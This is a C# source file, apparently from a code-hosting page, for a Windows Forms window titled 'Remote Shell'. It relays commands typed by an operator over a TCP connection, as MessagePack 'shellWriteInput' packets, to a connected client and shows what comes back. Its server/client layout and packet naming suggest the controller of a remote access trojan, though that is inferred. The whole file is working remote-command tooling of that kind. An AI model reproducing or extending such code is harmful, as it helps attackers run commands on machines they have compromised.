164 lines
5.9 KiB
C#
164 lines
5.9 KiB
C#
using System;
|
|
using System.ComponentModel;
|
|
using System.Drawing;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
using DevExpress.Utils;
|
|
using DevExpress.XtraEditors;
|
|
using DevExpress.XtraTab;
|
|
using MessagePackLib.MessagePack;
|
|
using Server.Connection;
|
|
|
|
namespace Server.Forms;
|
|
|
|
public class FormShell : XtraForm
|
|
{
|
|
private IContainer components;
|
|
|
|
public RichTextBox richTextBox1;
|
|
|
|
public System.Windows.Forms.Timer timer1;
|
|
|
|
private TextEdit textBox1;
|
|
|
|
private XtraTabControl xtraTabControl2;
|
|
|
|
private XtraTabPage xtraTabPage2;
|
|
|
|
public FormMain F { get; set; }
|
|
|
|
internal Clients Client { get; set; }
|
|
|
|
public FormShell()
|
|
{
|
|
InitializeComponent();
|
|
}
|
|
|
|
private void TextBox1_KeyDown(object sender, KeyEventArgs e)
|
|
{
|
|
if (Client != null && e.KeyData == Keys.Return && !string.IsNullOrWhiteSpace(textBox1.Text))
|
|
{
|
|
if (textBox1.Text == "cls".ToLower())
|
|
{
|
|
richTextBox1.Clear();
|
|
textBox1.Text = "";
|
|
}
|
|
if (textBox1.Text == "exit".ToLower())
|
|
{
|
|
Close();
|
|
}
|
|
MsgPack msgPack = new MsgPack();
|
|
msgPack.ForcePathObject("Pac_ket").AsString = "shellWriteInput";
|
|
msgPack.ForcePathObject("WriteInput").AsString = textBox1.Text;
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
|
|
textBox1.Text = "";
|
|
}
|
|
}
|
|
|
|
private void FormShell_FormClosed(object sender, FormClosedEventArgs e)
|
|
{
|
|
try
|
|
{
|
|
MsgPack msgPack = new MsgPack();
|
|
msgPack.ForcePathObject("Pac_ket").AsString = "shellWriteInput";
|
|
msgPack.ForcePathObject("WriteInput").AsString = "exit";
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void Timer1_Tick(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (!Client.TcpClient.Connected)
|
|
{
|
|
Close();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Close();
|
|
}
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && components != null)
|
|
{
|
|
components.Dispose();
|
|
}
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
private void InitializeComponent()
|
|
{
|
|
this.components = new System.ComponentModel.Container();
|
|
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormShell));
|
|
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
|
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
|
this.textBox1 = new DevExpress.XtraEditors.TextEdit();
|
|
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
|
|
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
|
|
((System.ComponentModel.ISupportInitialize)this.textBox1.Properties).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
|
|
this.xtraTabControl2.SuspendLayout();
|
|
this.xtraTabPage2.SuspendLayout();
|
|
base.SuspendLayout();
|
|
this.richTextBox1.BackColor = System.Drawing.Color.FromArgb(30, 30, 30);
|
|
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
|
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
|
this.richTextBox1.Font = new System.Drawing.Font("Consolas", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
|
|
this.richTextBox1.ForeColor = System.Drawing.Color.FromArgb(248, 248, 242);
|
|
this.richTextBox1.Location = new System.Drawing.Point(0, 0);
|
|
this.richTextBox1.Margin = new System.Windows.Forms.Padding(2);
|
|
this.richTextBox1.Name = "richTextBox1";
|
|
this.richTextBox1.ReadOnly = true;
|
|
this.richTextBox1.Size = new System.Drawing.Size(574, 340);
|
|
this.richTextBox1.TabIndex = 0;
|
|
this.richTextBox1.Text = "";
|
|
this.timer1.Interval = 1000;
|
|
this.timer1.Tick += new System.EventHandler(Timer1_Tick);
|
|
this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
|
|
this.textBox1.Location = new System.Drawing.Point(0, 371);
|
|
this.textBox1.Name = "textBox1";
|
|
this.textBox1.Size = new System.Drawing.Size(576, 30);
|
|
this.textBox1.TabIndex = 2;
|
|
this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(TextBox1_KeyDown);
|
|
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
|
|
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
|
|
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
|
|
this.xtraTabControl2.Name = "xtraTabControl2";
|
|
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
|
|
this.xtraTabControl2.Size = new System.Drawing.Size(576, 371);
|
|
this.xtraTabControl2.TabIndex = 11;
|
|
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
|
|
this.xtraTabPage2.Controls.Add(this.richTextBox1);
|
|
this.xtraTabPage2.Name = "xtraTabPage2";
|
|
this.xtraTabPage2.Size = new System.Drawing.Size(574, 340);
|
|
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
|
|
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
|
base.ClientSize = new System.Drawing.Size(576, 401);
|
|
base.Controls.Add(this.xtraTabControl2);
|
|
base.Controls.Add(this.textBox1);
|
|
base.FormBorderEffect = DevExpress.XtraEditors.FormBorderEffect.Glow;
|
|
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
|
|
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormShell.IconOptions.Icon");
|
|
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormShell.IconOptions.Image");
|
|
base.Margin = new System.Windows.Forms.Padding(2);
|
|
this.MaximumSize = new System.Drawing.Size(578, 435);
|
|
this.MinimumSize = new System.Drawing.Size(578, 435);
|
|
base.Name = "FormShell";
|
|
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
|
this.Text = "Remote Shell";
|
|
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormShell_FormClosed);
|
|
((System.ComponentModel.ISupportInitialize)this.textBox1.Properties).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
|
|
this.xtraTabControl2.ResumeLayout(false);
|
|
this.xtraTabPage2.ResumeLayout(false);
|
|
base.ResumeLayout(false);
|
|
}
|
|
}
|